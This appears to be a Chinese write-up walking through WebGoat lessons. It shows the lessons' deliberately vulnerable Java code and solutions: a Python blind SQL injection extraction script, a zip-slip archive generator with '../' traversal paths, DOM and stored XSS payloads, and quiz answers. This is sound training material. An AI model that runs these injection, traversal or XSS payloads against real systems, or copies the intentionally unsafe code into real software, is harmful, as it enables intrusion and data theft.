TABLE_NAME='SERVERS'),{i} ,1) WHEN '{chr (c)} ' THEN id ELSE ip END)" payload = f"(CASE substr((select group_concat(ip) from SERVERS where hostname='webgoat-prd'),{i} ,1) WHEN '{chr (c)} ' THEN id ELSE ip END)" url += payload r = requests.get(url=url,headers=header) jsondata = json.loads(r.text) ip = jsonpath.jsonpath(jsondata, '$[0].ip' ) if type (ip) == list : if '192.168.4.0' in ip: passwd += chr (c) print (passwd)
path_traversal PathTraversal package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class PathTraversal extends Lesson { @Override public Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "path-traversal-title" ; } }
ProfileUpload package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.*;import org.springframework.web.multipart.MultipartFile;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"path-traversal-profile.hint1", "path-traversal-profile.hint2", "path-traversal-profile.hint3"}) public class ProfileUpload extends ProfileUploadBase { public ProfileUpload (@Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super (webGoatHomeDirectory,webSession); } @PostMapping(value = "/PathTraversal/profile-upload",consumes = ALL_VALUE,produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler (@RequestParam("uploadedFile") MultipartFile file,@RequestParam(value = "fullName",required = false) String fullName) { return super .execute(file,fullName); } @GetMapping("/PathTraversal/profile-picture") @ResponseBody public ResponseEntity<?> getProfilePicture(){ return super .getProfilePicture(); } }
ProfileUploadBase package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.SneakyThrows;import org.apache.commons.lang3.StringUtils;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.util.FileCopyUtils;import org.springframework.util.FileSystemUtils;import org.springframework.web.multipart.MultipartFile;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.util.Base64;@AllArgsConstructor @Getter public class ProfileUploadBase extends AssignmentEndpoint { private String webGoatHomeDirectory; private WebSession webSession; protected AttackResult execute (MultipartFile file,String fullName) { if (file.isEmpty()){ return failed(this ).feedback("path-traversal-profile-empty-file" ).build(); } if (StringUtils.isEmpty(fullName)){ return failed(this ).feedback("path-traversal-profile-empty-name" ).build(); } var uploadDirectory = new File (this .webGoatHomeDirectory,"/PathTraversal/" + webSession.getUserName()); if (uploadDirectory.exists()){ FileSystemUtils.deleteRecursively(uploadDirectory); } try { uploadDirectory.mkdirs(); var uploadedFile = new File (uploadDirectory,fullName); uploadedFile.createNewFile(); FileCopyUtils.copy(file.getBytes(),uploadedFile); if (attemptWasMade(uploadDirectory,uploadedFile)){ return solvedIt(uploadedFile); } return informationMessage(this ).feedback("path-traversal-profile-updated" ).feedbackArgs(uploadDirectory.getAbsoluteFile()).build(); }catch (IOException e){ return failed(this ).output(e.getMessage()).build(); } } private AttackResult solvedIt (File uploadedFile) throws IOException { if (uploadedFile.getCanonicalFile().getParentFile().getName().endsWith("PathTraversal" )){ return success(this ).build(); } return failed(this ).attemptWasMade().feedback("path-traversal-profile-attempt" ).feedbackArgs(uploadedFile.getCanonicalPath()).build(); } private boolean attemptWasMade (File expectedUploadDirectory, File uploadedFile) throws IOException { return !expectedUploadDirectory.getCanonicalPath().equals(uploadedFile.getParentFile().getCanonicalPath()); } public ResponseEntity<?> getProfilePicture(){ return ResponseEntity.ok() .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) .body(getProfilePictureAsBase64()); } protected byte [] getProfilePictureAsBase64(){ var profilePictureDirectory = new File (this .webGoatHomeDirectory,"/PathTraversal/" + webSession.getUserName()); var profileDirectoryFiles = profilePictureDirectory.listFiles(); if (profileDirectoryFiles != null && profileDirectoryFiles.length > 0 ){ try (var inputStream = new FileInputStream (profileDirectoryFiles[0 ])) { return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); }catch (IOException e){ return defaultImage(); } }else { return defaultImage(); } } @SneakyThrows private byte [] defaultImage() { var inputStream = getClass().getResourceAsStream("/images/account.png" ); return Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(inputStream)); } }
这里是目录穿越上传的路径
ProfileUploadFix package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.ResponseEntity;import org.springframework.web.bind.annotation.*;import org.springframework.web.multipart.MultipartFile;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"path-traversal-profile-fix.hint1", "path-traversal-profile-fix.hint2", "path-traversal-profile-fix.hint3"}) public class ProfileUploadFix extends ProfileUploadBase { public ProfileUploadFix (@Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super (webGoatHomeDirectory, webSession); } @PostMapping(value = "/PathTraversal/profile-upload-fix",consumes = ALL_VALUE,produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler (@RequestParam("uploadedFileFix") MultipartFile file,@RequestParam(value = "fullNameFix",required = false) String fullName) { return super .execute(file,fullName != null ? fullName.replace("../" ,"" ) : "" ); } @GetMapping("/PathTraversal/profile-picture-fix") @ResponseBody public ResponseEntity<?> getProfilePicture(){ return super .getProfilePicture(); } }
简单过滤
package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import org.springframework.beans.factory.annotation.Value;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.multipart.MultipartFile;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"path-traversal-profile-remove-user-input.hint1", "path-traversal-profile-remove-user-input.hint2", "path-traversal-profile-remove-user-input.hint3"}) public class ProfileUploadRemoveUserInput extends ProfileUploadBase { public ProfileUploadRemoveUserInput (@Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super (webGoatHomeDirectory,webSession); } @PostMapping(value = "/PathTraversal/profile-upload-remove-user-input",consumes = ALL_VALUE,produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler (@RequestParam("uploadedFileRemoveUserInput") MultipartFile file) { return super .execute(file,file.getOriginalFilename()); } }
ProfileUploadRetrieval package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import lombok.extern.slf4j.Slf4j;import org.apache.commons.lang3.RandomUtils;import org.springframework.beans.factory.annotation.Value;import org.springframework.core.io.ClassPathResource;import org.springframework.http.HttpStatus;import org.springframework.http.MediaType;import org.springframework.http.ResponseEntity;import org.springframework.jdbc.core.metadata.CallParameterMetaData;import org.springframework.security.core.token.Sha512DigestUtils;import org.springframework.util.FileCopyUtils;import org.springframework.util.StringUtils;import org.springframework.web.bind.annotation.*;import javax.annotation.PostConstruct;import javax.servlet.http.HttpServletRequest;import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.net.URI;import java.net.URISyntaxException;import java.nio.file.Files;import java.util.Base64;@RestController @AssignmentHints({ "path-traversal-profile-retrieve.hint1", "path-traversal-profile-retrieve.hint2", "path-traversal-profile-retrieve.hint3", "path-traversal-profile-retrieve.hint4", "path-traversal-profile-retrieve.hint5", "path-traversal-profile-retrieve.hint6"}) @Slf4j public class ProfileUploadRetrieval extends AssignmentEndpoint { private final File catPicturesDirectory; public ProfileUploadRetrieval (@Value("${webgoat.server.directory}") String webGoatHomeDirectory) { this .catPicturesDirectory = new File (webGoatHomeDirectory,"/PathTraversal/" +"/cats" ); this .catPicturesDirectory.mkdirs(); } @PostConstruct public void initAssignment () { for (int i = 1 ;i <= 10 ;i++){ try (InputStream is = new ClassPathResource ("lessons/path_traversal/images/cats/" + i + ".jpg" ).getInputStream()){ FileCopyUtils.copy(is,new FileOutputStream (new File (catPicturesDirectory,i+".jpg" ))); }catch (Exception e){ log.error("Unable to copy pictures" + e.getMessage()); } } var secretDirectory = this .catPicturesDirectory.getParentFile().getParentFile(); try { Files.writeString(secretDirectory.toPath().resolve("path-traversal-secret.jpg" ),"You found it submit the SHA-512 hash of your username as answer" ); }catch (IOException e){ log.error("Unable to write secret in: {}" ,secretDirectory,e); } } @PostMapping("/PathTraversal/random") @ResponseBody public AttackResult execute (@RequestParam(value = "secret",required = false) String secret) { if (Sha512DigestUtils.shaHex(getWebSession().getUserName()).equals(secret)){ return success(this ).build(); } return failed(this ).build(); } @GetMapping("/PathTraversal/random-picture") @ResponseBody public ResponseEntity<?> getProfilePicture(HttpServletRequest request){ var queryParams = request.getQueryString(); if (queryParams != null && (queryParams.contains(".." ) || queryParams.contains("/" ))){ return ResponseEntity.badRequest().body("Illegal characters are not allowed in the query params" ); } try { var id = request.getParameter("id" ); var catPicture = new File (catPicturesDirectory,(id == null ? RandomUtils.nextInt(1 ,11 ) : id) + ".jpg" ); if (catPicture.getName().toLowerCase().contains("path-traversal-secret.jpg" )){ return ResponseEntity.ok() .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) .body(FileCopyUtils.copyToByteArray(catPicture)); } if (catPicture.exists()){ return ResponseEntity.ok() .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE)) .location(new URI ("/PathTraversal/random-picture?id=" +catPicture.getName())) .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture))); } return ResponseEntity.status(HttpStatus.NOT_FOUND) .location(new URI ("/PathTraversal/random-picture?id=" +catPicture.getName())) .body(StringUtils.arrayToCommaDelimitedString(catPicture.getParentFile().listFiles()).getBytes()); }catch (IOException | URISyntaxException e){ log.error("Image not found" ,e); } return ResponseEntity.badRequest().build(); } }
这里有个参数id 也不知道咋来的
我们来看看重点代码
ProfileZipSlip package com.wanan.webgoat.lessons.path_traversal;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import lombok.SneakyThrows;import org.springframework.beans.factory.annotation.Value;import org.springframework.http.ResponseEntity;import org.springframework.util.FileCopyUtils;import org.springframework.web.bind.annotation.*;import org.springframework.web.multipart.MultipartFile;import java.io.File;import java.io.IOException;import java.io.InputStream;import java.nio.file.Files;import java.nio.file.StandardCopyOption;import java.util.Arrays;import java.util.Enumeration;import java.util.zip.ZipEntry;import java.util.zip.ZipFile;import static org.springframework.http.MediaType.ALL_VALUE;import static org.springframework.http.MediaType.APPLICATION_JSON_VALUE;@RestController @AssignmentHints({"path-traversal-zip-slip.hint1", "path-traversal-zip-slip.hint2", "path-traversal-zip-slip.hint3", "path-traversal-zip-slip.hint4"}) public class ProfileZipSlip extends ProfileUploadBase { public ProfileZipSlip (@Value("${webgoat.server.directory}") String webGoatHomeDirectory, WebSession webSession) { super (webGoatHomeDirectory, webSession); } @PostMapping(value = "/PathTraversal/zip-slip", consumes = ALL_VALUE, produces = APPLICATION_JSON_VALUE) @ResponseBody public AttackResult uploadFileHandler (@RequestParam("uploadedFileZipSlip") MultipartFile file) { if (!file.getOriginalFilename().toLowerCase().endsWith(".zip" )) { return failed(this ).feedback("path-traversal-zip-slip.no-zip" ).build(); } else { return processZipUpload(file); } } @SneakyThrows private AttackResult processZipUpload (MultipartFile file) { var tmpZipDirectory = Files.createTempDirectory(getWebSession().getUserName()); var uploadDirectory = new File (getWebGoatHomeDirectory(), "/PathTraversal/" + getWebSession().getUserName()); var currentImage = getProfilePictureAsBase64(); Files.createDirectories(uploadDirectory.toPath()); try { var uploadedZipFile = tmpZipDirectory.resolve(file.getOriginalFilename()); FileCopyUtils.copy(file.getBytes(), uploadedZipFile.toFile()); ZipFile zip = new ZipFile (uploadedZipFile.toFile()); Enumeration<? extends ZipEntry > entries = zip.entries(); while (entries.hasMoreElements()) { ZipEntry e = entries.nextElement(); File f = new File (uploadedZipFile.toFile(), e.getName()); InputStream is = zip.getInputStream(e); Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING); } return isSolved(currentImage, getProfilePictureAsBase64()); }catch (IOException e){ return failed(this ).output(e.getMessage()).build(); } } private AttackResult isSolved (byte [] currentImage, byte [] newImage) { if (Arrays.equals(currentImage, newImage)) { return failed(this ).output("path-traversal-zip-slip.extracted" ).build(); } return success(this ).output("path-traversal-zip-slip.extracted" ).build(); } @GetMapping("/PathTraversal/zip-slip") @ResponseBody public ResponseEntity<?> getProfilePicture(){ return super .getProfilePicture(); } @GetMapping("/PathTraversal/zip-slip/profile-image/{username}") @ResponseBody public ResponseEntity<?> getProfilePicture(@PathVariable("username") String username){ return ResponseEntity.notFound().build(); } }
这里考察的其实是zip slip目录遍历漏洞
我们先看怎么做
import zipfilezf = zipfile.ZipFile('zf.zip' ,"w" ) fname = "zf.jpg" zf.write(fname,"../../../../../../../../../../../../Users/14980/.webgoat-8.2.3-SNAPSHOT/PathTraversal/123456/zf.jpg" )
这里是使用python生成一个zf.zip 其中的内容呢是 zf.jpg中的内容 而压缩后的文件名为后面的一长串
上传zip
这里可以看到经过目录穿越到达了这个目录下面
这里的判断结果也是两个数组是否相同 也就是图片有没有上传上去
xss CrossSiteScripting package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class CrossSiteScripting extends Lesson { @Override protected Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "xss.title" ; } }
CrossSiteScriptingLesson1 package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class CrossSiteScriptingLesson1 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack1") @ResponseBody public AttackResult completed (@RequestParam(value = "checkboxAttack1",required = false) String checkboxValue) { if (checkboxValue != null ){ return success(this ).build(); } return failed(this ).feedback("xss.lesson1.failure" ).build(); } }
这关让我们了解什么xss
选中对号即可过关
CrossSiteScriptingLesson5a package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import java.util.function.Predicate;import java.util.regex.Pattern;@RestController @AssignmentHints(value = {"xss-reflected-5a-hint-1", "xss-reflected-5a-hint-2", "xss-reflected-5a-hint-3", "xss-reflected-5a-hint-4"}) public class CrossSiteScriptingLesson5a extends AssignmentEndpoint { public static final Predicate<String > XSS_PATTERN = Pattern.compile(".*<script>(console\\.log|alert)\\(.*\\);?</script>.*" ,Pattern.CASE_INSENSITIVE).asMatchPredicate(); @Autowired UserSessionData userSessionData; @GetMapping("/CrossSiteScripting/attack5a") @ResponseBody public AttackResult completed (@RequestParam Integer QTY1, @RequestParam Integer QTY2, @RequestParam Integer QTY3, @RequestParam Integer QTY4, @RequestParam String field1, @RequestParam String field2) { if (XSS_PATTERN.test(field2)){ return failed(this ).feedback("xss-reflected-5a-failed-wrong-field" ).build(); } double totalSale = QTY1.intValue() * 69.99 + QTY2.intValue() + 27.99 + QTY3.intValue() * 1599.99 + QTY4.intValue() * 299.99 ; userSessionData.setValue("xss-reflected1-complete" ,"false" ); StringBuffer cart = new StringBuffer (); cart.append("Thank you for shopping at WebGoat. <br />Your support is appreciated<hr />" ); cart.append("<p>We have charged credit card:" + field1 + "<br />" ); cart.append(" ------------------- <br />" ); cart.append(" $" + totalSale); if (userSessionData.getValue("xss-reflected1-complete" ) == null ){ userSessionData.setValue("xss-reflected1-complete" ,"false" ); } if (XSS_PATTERN.test(field1)){ userSessionData.setValue("xss-reflected-5a-complete" , "true" ); if (field1.toLowerCase().contains("console.log" )){ return success(this ).feedback("xss-reflected-5a-success-console" ).output(cart.toString()).build(); }else { return success(this ).feedback("xss-reflected-5a-success-alert" ).output(cart.toString()).build(); } }else { userSessionData.setValue("xss-reflected1-complete" ,"false" ); return failed(this ).feedback("xss-reflected-5a-failure" ) .output(cart.toString()) .build(); } } }
CrossSiteScriptingLesson6a package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints(value = {"xss-reflected-6a-hint-1", "xss-reflected-6a-hint-2", "xss-reflected-6a-hint-3", "xss-reflected-6a-hint-4"}) public class CrossSiteScriptingLesson6a extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping("/CrossSiteScripting/attack6a") @ResponseBody public AttackResult completed (@RequestParam String DOMTestRoute) { if (DOMTestRoute.matches("start\\.mvc#test(\\/|)" )){ return success(this ).feedback("xss-reflected-6a-success" ).build(); }else { return failed(this ).feedback("xss-reflected-6a-failure" ).build(); } } }
DOMCrossSiteScriptingVerifier package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints(value = {"xss-dom-message-hint-1", "xss-dom-message-hint-2", "xss-dom-message-hint-3", "xss-dom-message-hint-4", "xss-dom-message-hint-5", "xss-dom-message-hint-6"}) public class DOMCrossSiteScriptingVerifier extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/dom-follow-up") @ResponseBody public AttackResult completed (@RequestParam String successMessage) { UserSessionData userSessionData = getUserSessionData(); String answer = (String) userSessionData.getValue("randValue" ); if (successMessage.equals(answer)){ return success(this ).feedback("xss-dom-message-success" ).build(); }else { return failed(this ).feedback("xss-dom-message-failure" ).build(); } } }
DOMCrossSiteScripting package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;import javax.servlet.http.HttpServletRequest;import java.security.SecureRandom;@RestController public class DOMCrossSiteScripting extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/phone-home-xss") @ResponseBody public AttackResult completed (@RequestParam Integer param1, @RequestParam Integer param2, HttpServletRequest request) { UserSessionData userSessionData = getUserSessionData(); SecureRandom number = new SecureRandom (); userSessionData.setValue("randValue" ,String.valueOf(number.nextInt())); if (param1 == 42 && param2 == 24 && request.getHeader("webgoat-requested-by" ).equals("dom-xss-vuln" )){ return success(this ).output("phoneHome Response is " + userSessionData.getValue("randValue" .toString())).build(); }else { return failed(this ).build(); } } }
这里是根据上一关给的 start.mvc#test/ 去构造 dom xss
可以发现存在回显
http://127.0.0.1:8081/WebGoat/start.mvc#test/webgoat.customjs.phoneHome()
但是并没有执行 原因就是没有当做js代码执行
127.0.0.1:8081/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()
提交即可
这里奇怪的是 如果补全了就不执行了
http://127.0.0.1:8081/WebGoat/start.mvc#test/<script>webgoat.customjs.phoneHome()</script>
CrossSiteScriptingQuiz package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import org.springframework.web.bind.annotation.*;import java.io.IOException;@RestController public class CrossSiteScriptingQuiz extends AssignmentEndpoint { String[] solutions = {"Solution 4" ,"Solution 3" ,"Solution 1" ,"Solution 2" ,"Solution 4" }; boolean [] guesses = new boolean [solutions.length]; @PostMapping("/CrossSiteScripting/quiz") @ResponseBody public AttackResult completed (@RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution, @RequestParam String[] question_2_solution, @RequestParam String[] question_3_solution, @RequestParam String[] question_4_solution) throws IOException { int correctAnswers = 0 ; String[] givenAnswers = {question_0_solution[0 ], question_1_solution[0 ], question_2_solution[0 ], question_3_solution[0 ], question_4_solution[0 ]}; for (int i = 0 ;i < solutions.length;i++){ if (givenAnswers[i].contains(solutions[i])){ if (givenAnswers[i].contains(solutions[i])){ correctAnswers ++ ; guesses[i] = true ; }else { guesses[i] = false ; } } } if (correctAnswers == solutions.length){ return success(this ).build(); }else { return failed(this ).build(); } } @GetMapping("/CrossSiteScripting/quiz") @ResponseBody public boolean [] getResults() { return this .guesses; } }
答案 4 3 1 2 4
stored CrossSiteScriptingStored package com.wanan.webgoat.lessons.xss.stored;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;import org.springframework.stereotype.Component;@Component public class CrossSiteScriptingStored extends Lesson { @Override protected Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "xss-stored.title" ; } }
注意与原文的差异
package com.wanan.webgoat.lessons.xss.stored;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import com.google.common.collect.Lists;import com.headius.invokebinder.transform.Collect;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.WebSession;import org.joda.time.DateTime;import org.joda.time.format.DateTimeFormat;import org.joda.time.format.DateTimeFormatter;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.MediaType;import org.springframework.web.bind.annotation.*;import java.awt.*;import java.util.*;import java.util.List;import static org.springframework.http.MediaType.ALL_VALUE;@RestController public class StoredXssComments extends AssignmentEndpoint { @Autowired private WebSession webSession; private static DateTimeFormatter fmt = DateTimeFormat.forPattern("yyyy-mm-dd, HH:mm:ss" ); private static final Map<String , List<Comment>> userComments = new HashMap <>(); private static final List<Comment> comments = new ArrayList <>(); private static final String phoneHomeString = "<script>webgoat.customjs.phoneHome()</script>" ; static { comments.add(new Comment ("secUriTy" , DateTime.now().toString(fmt),"<script>console.warn(' unit test me')</script>Comment for Unit Testing" )); comments.add(new Comment ("webgoat" ,DateTime.now().toString(fmt),"This comment is safe" )); comments.add(new Comment ("guest" ,DateTime.now().toString(fmt),"This one is safe too." )); comments.add(new Comment ("guest" ,DateTime.now().toString(fmt),"Can you post a comment, calling webgoat.customjs.phoneHome() ?" )); } @GetMapping(path = "/CrossSiteScripting/stored-xss",produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE) @ResponseBody public Collection<Comment> retrieveComments () { List<Comment> allComments = Lists.newArrayList(); Collection<Comment> newComments = userComments.get(webSession.getUserName()); allComments.addAll(comments); if (newComments != null ) { allComments.addAll(newComments); } Collections.reverse(allComments); return allComments; } @PostMapping("/CrossSiteScripting/stored-xss") @ResponseBody public AttackResult createNewComment (@RequestBody String commentStr) { Comment comment = parseJson(commentStr); List<Comment> comments = userComments.getOrDefault(webSession.getUserName(),new ArrayList <>()); comment.setDateTime(DateTime.now().toString(fmt)); comment.setUser(webSession.getUserName()); comments.add(comment); userComments.put(webSession.getUserName(),comments); if (comment.getText().contains(phoneHomeString)){ return success(this ).feedback("xss-stored-comment-success" ).build(); }else { return failed(this ).feedback("xss-stored-comment-failure" ).build(); } } private Comment parseJson (String comment ) { ObjectMapper mapper = new ObjectMapper (); try { return mapper.readValue(comment,Comment.class); } catch (JsonProcessingException e) { return new Comment (); } } }
package com.wanan.webgoat.lessons.xss.stored;import lombok.AllArgsConstructor;import lombok.Getter;import lombok.NoArgsConstructor;import lombok.Setter;import javax.xml.bind.annotation.XmlRootElement;@Getter @Setter @AllArgsConstructor @NoArgsConstructor @XmlRootElement public class Comment { private String user; private String dateTime; private String text; }
StoredCrossSiteScriptingVerifier 注意差异
package com.wanan.webgoat.lessons.xss.stored;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AttackResult;import com.wanan.webgoat.container.session.UserSessionData;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController public class StoredCrossSiteScriptingVerifier extends AssignmentEndpoint { @PostMapping("/CrossSiteScriptingStored/stored-xss-follow-up") @ResponseBody public AttackResult completed (@RequestParam String successMessage) { UserSessionData userSessionData = getUserSessionData(); if (successMessage.equals(userSessionData.getValue("randValue" ).toString())){ return success(this ).feedback("xss-stored-callback-success" ).build(); }else { return failed(this ).feedback("xss-stored-callback-failure" ).build(); } } }
存储进去后提交即可
CrossSiteScriptingMitigation 注意与原文的差异
package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.lessons.Category;import com.wanan.webgoat.container.lessons.Lesson;@Component public class CrossSiteScriptingMitigation extends Lesson { @Override protected Category getDefaultCategory () { return Category.A3; } @Override public String getTitle () { return "xss-mitigation.title" ; } }
CrossSiteScriptingLesson3
package com.wanan.webgoat.lessons.xss;import com.wanan.webgoat.container.assignments.AssignmentEndpoint;import com.wanan.webgoat.container.assignments.AssignmentHints;import com.wanan.webgoat.container.assignments.AssignmentPath;import com.wanan.webgoat.container.assignments.AttackResult;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.bind.annotation.RestController;@RestController @AssignmentHints(value = {"xss-mitigation-3-hint1", "xss-mitigation-3-hint2", "xss-mitigation-3-hint3", "xss-mitigation-3-hint4"}) public class CrossSiteScriptingLesson3 extends AssignmentEndpoint { @PostMapping("/CrossSiteScripting/attack3") @ResponseBody public AttackResult completed (@RequestParam String editor) { String unescapedString = org.jsoup.parser.Parser.unescapeEntities(editor,true ); try { if (editor.isEmpty()) return failed(this ).feedback("xss-mitigation-3-no-code" ).build(); Document doc = Jsoup.parse(unescapedString); String[] lines = unescapedString.split("<html>" ); String include = (lines[0 ]); String fistNameElement = doc.select("body > table > tbody > tr:nth-child(1) > td:nth-child(2)" ).first().text(); String lastNameElement = doc.select("body > table > tbody > tr:nth-child(2) > td:nth-child(2)" ).first().text(); Boolean includeCorrect = false ; Boolean firstNameCorrect = false ; Boolean lastNameCorrect = false ; if (include.contains("<%@" ) && include.contains("taglib" ) && include.contains("uri=\"https://www.owasp.org/index.php/OWASP_java_Encode_Project\"" ) && include.contains("%>" )){ includeCorrect = true ; } if (fistNameElement.equals("${e:forHtml(param.first_name)}" )) { firstNameCorrect = true ; } if (lastNameElement.equals("${e:forHtml(param.last_name)}" )){ lastNameCorrect = true ; } if (includeCorrect && firstNameCorrect && lastNameCorrect){ return success(this ).feedback("xss-mitigation-3-success" ).build(); }else { return failed(this ).feedback("xss-mitigation-3-failure" ).build(); } }catch (Exception e){ return failed(this ).output(e.getMessage()).build(); } } }
这里是让我们写缓解措施 这里我们读读
这里找到了缓解措施 我们直接抄 但是直接抄会出问题
<%@page contentType="text/html" pageEncoding="UTF-8" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" > <%@taglib prefix="e" uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" %> <html> <head> <title>Using GET and POST Method to Read Form Data</title> </head> <body> <h1>Using POST Method to Read Form Data</h1> <table> <tbody> <tr> <td><b>First Name:</b></td> <td>${e:forHtml(param.first_name)}</td> </tr> <tr> <td><b>Last Name:</b></td> <td>${e:forHtml(param.last_name)}</td> </tr> </tbody> </table> </body> </html>
一大一小 后面也不一样 直接复制了
答案
